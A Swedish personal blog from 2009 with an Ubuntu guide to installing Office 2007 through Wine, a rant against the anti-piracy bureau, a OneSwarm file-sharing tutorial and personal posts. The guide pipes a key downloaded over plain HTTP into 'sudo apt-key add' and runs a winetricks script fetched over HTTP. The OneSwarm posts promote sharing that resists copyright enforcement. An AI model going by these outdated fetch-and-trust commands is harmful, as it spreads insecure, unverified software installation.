Sen, för att inte få ett varningsmeddelande, skulle jag rekommendera att köra följande kommando, för att ta ner verifikationsnyckeln för det programvaruförråd du just lagt till. Detta gör du enklast i terminalen (Program -> Tillbehör -> Terminal):

wget -q http://wine.budgetdedicated.com/apt/387EE263.gpg -O- | sudo apt-key add -

Allt ovanstående ska stå på en rad. Kopiera det härifrån och klistra in genom att högerklicka i terminalfönstret och välj Klistra in eller använd snabbkommandot <Shift>+<Ctrl>+<V>.

Sen ska du lägga till paketen wine och cabextract. Detta gör du antingen i pakethanteraren Synaptic (System -> Administration -> Pakethanteraren Synaptic) eller genom att i terminalen skriva kommandona (ett och ett):

sudo apt-get update
sudo apt-get install wine cabextract

Verifiera att du har rätt version av wine genom att i terminal skriva:

wine --version

Detta bör visa wine-1.1.9 eller senare för att detta ska fungera.

Nästa steg är att hämta hem ett litet hjälpscript som heter winetricks. Scriptet hämtar hem bibliotek och DLL-filer som behövs för vissa Windows-program, på ett relativt smärtfritt sätt. Detta görs genom att (återigen, en rad i taget) i terminal skriva:

wget http://www.kegel.com/wine/winetricks
chmod +x ./winetricks

Med detta har vi hämtat hem scriptet och sedan gjort det körbart. Nästa steg är att installera de DLL-filer som behövs för att Microsoft Office 2007 ska kunna installeras. Detta görs genom kommandot:

./winetricks gdiplus riched20 riched30 msxml3 msxml4 msxml6 corefonts tahoma vb6run vcrun6 msi2

Detta ska köras som ett enda kommando och klistras in på samma sätt som beskrevs ovan. Det kommer förmodligen att ta en stund att köra detta script, men det sparar mycket tid för dig, så gå och ta en kopp om det drar ut på tiden.

Nästa steg är att peta i skivan med Office 2007 och köra setup.exe

Det bör räcka med att öppna skivan och dubbelklicka på filen.

Följ sedan instruktionerna på skärmen så har du snart ditt Office 2007 installerat.

Läs även andra bloggares intressanta åsikter om 2007, datorer, it, linux, microsoft, office, ubuntu, windows

APB: Ni kan inte knäcka OneSwarm

2009-03-17T12:14:00.002+01:00

Henrik Pontén och hans världsfrånvända imbeciller i Antipiratbyrån tror - åtminstone utåt sett - att de har möjlighet att "knäcka Oneswarm".

Pontén menar att "[d]et räcker med att en i swarmen inte vill begå brott så faller hela konceptet". Då har man inte förstått konceptet med OneSwarm över huvud taget.

Det finns flera liknelser man kan göra, men den minst smickrande och effektivaste är förmodligen den med små terrorceller som verkar oberoende av varandra men ändå mot samma mål. Även om man spränger en av dessa terrorceller så kommer de andra att operera vidare utan minsta problem, utan så mycket som att köra ner i en grop i vägen.

OneSwarm bygger på ett web-of-trust mellan människor man i idealfallet känner väl. Dessa människor delar med sig av sina krypteringsnycklar och får sina vänners nycklar tillbaka. På så sätt skapas en uppkoppling mellan dem.

Det finns två sätt att koppla upp sina vänner, antingen med full insyn eller som "limited friend". Limited friend, begränsad vän, innebär att vännen ifråga inte har möjlighet att se vilka filer som du har delat ut från din dator. Vännen har däremot möjlighet att söka på filer som ligger på din dator.

Den begränsade vännen har dock ingen som helst möjlighet att se om filen som h*n söker på ligger på din dator, eller på någon annan av dina vänners datorer, eller på någon av dina vänners vänners datorer.

Faller någon för frestelsen att hänga ut sina vänner till Antipiratbyrån eller lagens långa arm, är det därför så gott som omöjligt att fälla mer än en handfull människor för upphovsrättsbrott eller vad man nu vill kalla det.

Enstaka kluster i nätverket kan således möjligtvis råka lite illa ut, men svärmen kommer alltid att bestå, eftersom det är ekonomiskt ogörbart att åstadkomma samma effekt över alla små kluster i hela OneSwarm.

OneSwarm är långt ifrån det säkraste alternativet för att fildela, men det utgör som sagts förut en bra balans mellan hastighet och användarvänlighet.

Det känns lite nesligt att behöva kryptera sin kommunikation, det är lite som att erkänna att man gör något olagligt och måste smyga med det, även om man som jag inte delar några filer alls via OneSwarm för tillfället, jag har bara uppe systemet för att underlätta för andra.

Men är en majoritet av folket emot de här lagarna så är de...

Läs även andra bloggares intressanta åsikter om anonymitet, antipiratbyrån, fildelning, ipred, oneswarm, övervakning

BitTorrent- och F2F-fildelning med OneSwarm

2009-03-13T20:15:00.016+01:00

Under rättegången mot The Pirate Bay släpptes version 0.5 av OneSwarm, som är ett decentraliserat fildelningssystem med krypterad kommunikation. Systemet bygger på sex grader av åtskillnad där man menar att alla människor på jorden känner alla andra människor på jorden i sex led.

Genom att bara koppla upp sig mot sina vänner, som kopplar upp sig mot sina vänner, kan man nå alla datorer som är sammankopplade i nätverket och därför även alla filer som finns i nätverket.

Det finns många liknande system som håller hårt på integritet och anonymitet, men det som är bra med OneSwarm är att det är bakåtkompatibelt med BitTorrent. Du kan alltså ladda ner filer via vilken torrent-tracker som helst.

Det absolut bästa med OneSwarm är dock just att man kan dela filer med sina vänner (Friend2Friend) utan att vara speciellt orolig över sitt privatliv. En viktig sak att komma ihåg är dock att när du laddar ner via BitTorrent-protokollet så är du inte skyddad av någon kryptering och du reläar inte din trafik genom någon annan (via OneSwarm åtminstone) utan då är det direktuppkoppling mot alla andra BitTorrent-klienter som gäller.

Systemkrav:
OneSwarm kräver Java. Eftersom det bygger på Azureus (nuvarande Vuze) så är OneSwarm skrivet i Java. Java Runtime Environment (JRE) kan hämtas från Suns webbplats eller installeras direkt ifrån operativsystemet om man har exempelvis Ubuntu eller någon annan modern Linux-distribution.

Först måste vi ladda hem programmet och detta görs från http://oneswarm.cs.washington.edu/download.html. Välj det system som passar dig bäst. Då jag kör Ubuntu på en Core2Duo-processor valde jag 32-bitars Linux-version.

Efter att jag packat upp filen och kör igång den

Program -> Tillbehör -> Terminal
cd [nedladdningskatalog]
tar zxvf OneSwarm*.tar.gz
cd OneSwarm
./OneSwarm

(Windows-användare kan köra den nedladdade filen och får då upp ett installationsprogram. Det installerade programmet körs sedan igång via menysystemet) i en katalog som jag tycker funkar kör jag igång och får upp ett webb-gränssnitt som ser ut såhär:

Jag kan då välja mellan att söka efter .torrent-filer ("search for swarms to download"), lägga till vänner ("add friends") eller kolla på en video om OneSwarm ("overview screencast"). Jag väljer att lägga till vänner.

Lägga till vänner

När jag har klickat på "add friends" visar OneSwarm tre alternativ:

Alternativ 1: Har du vänner på Gmail/GoogleTalk som kör OneSwarm känner programmet av detta och du kan välja vilka av dem du vill lägga till.
Alternativ 2: Här kan du lägga till de vänner som kör OneSwarm i samma lokala nätverk som du.
Alternativ 3: Här öppnas en Wizard som med några enkla steg leder dig igenom hur du lägger till en vän och hans/hennes kryptografiska nyckel.

Steg 1 är alltså att ge personen ett namn/smeknamn och 2 att skriva (klippa ut och klistra) in personens kryptografiska nyckel. Längst ner står kryssrutan "Limited friend", vilket innebär att om rutan är förkryssad kommer den här vännen inte att se dina filer direkt, utan måste söka på dem. Vilket man väljer beror helt på vilket förtroende man har för vännen ifråga.

När man lagt till en vän dyker personen upp med sitt namn/smeknamn nere till vänster under "Friends" (om det nu var någon som trodde något annat). Där kan man återigen redigera inställningar om man så önskar.

Om någon av dina vänner lagt till din kryptografiska nyckel och väntar på att du ska bekräfta vänskapen dyker de upp som "Friend requests" i Friends-rutan. Klickar du på länken "Friend requests (n)" (där "n" är antalet vänskapsförfrågningar) så kan du välja vilken av dessa du vill lägga till och vilka du vill ignorera.

Vänskapen måste alltid vara dubbelriktad för att överföringar ska kunna utföras mellan vänner.

Dela/Ladda ner filer

Det finns två sätt att dela filer på. Ett är via BitTorrent och det andra via OneSwarm. Genom att klicka på OneSwarm-ikonen i aktivitetsfältet får man fram en meny där det går att välja "Classic UI", vilket är Azureus.

Det klassiska gränssnittet (Classic UI) ser ut som nedan:

Hur man lägger till torrents är inte den här instruktionsbloggens syfte för det finns beskrivet bättre och mer omfattande på andra ställen. Istället går vi igenom hur man lägger till filer på OneSwarms eget sätt. Detta görs i webbgränssnittet på följande sätt:

Genom att klicka på knappen "Share" dyker en popup-ruta fram där det går att välja på "Manual sharing" och "Automatic sharing".

I Automatic sharing kan man ställa in så att programmet bevakar ett antal kataloger/mappar på hårddisken. Allt som läggs i dessa mappar delas automatiskt ut.

Manual sharing innebär att man väljer en specifik fil/katalog eller flera filer/kataloger som ska delas ut. Det finns kryssrutor för om man vill dela den bara med vänner ("Share with friends"), eller om man vill dela den publikt ("Share publicly"). Genom att klicka på "Share publicly" måste man också välja vilken tracker som skall kontaktas för annonsering.

Knappen "Advanced visibility" ger ytterligare verktyg för vilka vänner man vill dela med sig till.

Slutord

Att komma igång med OneSwarm är inte så svårt. Jag är helt övertygad om att det är ett av de enklare systemen för att känna sig någorlunda fredad på internet. Freenet, I2P, Waste och så vidare erbjuder möjligtvis säkrare system, men de är klart mycket krångligare att sätta upp och skalar dåligt för hundratusen-/miljontals användare.

OneSwarm erbjuder en bra balans mellan användbarhet och skyddat privatliv. Kruxet är att hitta vänner man litar på som också kör OneSwarm, men jag hoppas att systemet växer stort. Om inte annat kan man leta på OneSwarms eget forum, där finns det gott om svenskar att koppla upp sig mot. Jag måste dock höja ett varningens finger mot att koppla upp sig mot människor man inte känner. Om inte annat bör man använda "Limited friend"-läget för dessa för att minimera risken.

Testa nu. Det är enkelt, det är kompatibelt med BitTorrent och allt du behöver göra är att byta klient och vänta på att alla andra gör detsamma.

Läs också:

Vanliga frågor (FAQ) och TkJ

Läs även andra bloggares intressanta åsikter om anonymitet, bittorrent, f2f, friend2friend, fildelning, oneswarm, övervakning

Betnér på Aftonbladets redaktion

2009-03-13T17:15:00.002+01:00

Jag avundas honom den här chansen men jag tycker att han förvaltar den ganska väl, även om han är lite väl mild.

Jag kanske är sist med att upptäcka den här underbara serien på kanal 5, men det beror förmodligen på att jag är ett urtidsdjur som bara har 1:an, 2:an och 4:an. Och att jag inte längre har möjlighet att ladda ner torrents. Wtf?!

För övrigt lägger jag ner min personliga bit på den här bloggen och flyttar den till

http://omgwtfbrblol.blogspot.com

Kom dit om ni vill. Här kommer det bli annat som fyller platsen.

om att förolämpa min och sin egen intelligens

2009-03-07T02:54:00.002+01:00

Det kravs inte så mycket. Ett undsluppet ord räcker för att dumförklara båda parter. Dig själv, för att du tror att jag dum nog att tro att du kan ha glömt det. Och mig, för att du tror att jag köper vad som helst. Vilken bortförklaring som helst hade varit bättre, men jag förstår att du inte kom på någon just då. "Jag är för trött", "Jag har huvudvärk", "Jag tror att jag börjar bli sjuk", "Jag måste hinna iväg innan affären stänger", "Jag ska upp tidigt imorgon". Istället kommer "hunden åt upp min skoluppsats"-motsvarigheten

- Ajustd.

Så viktigt var det.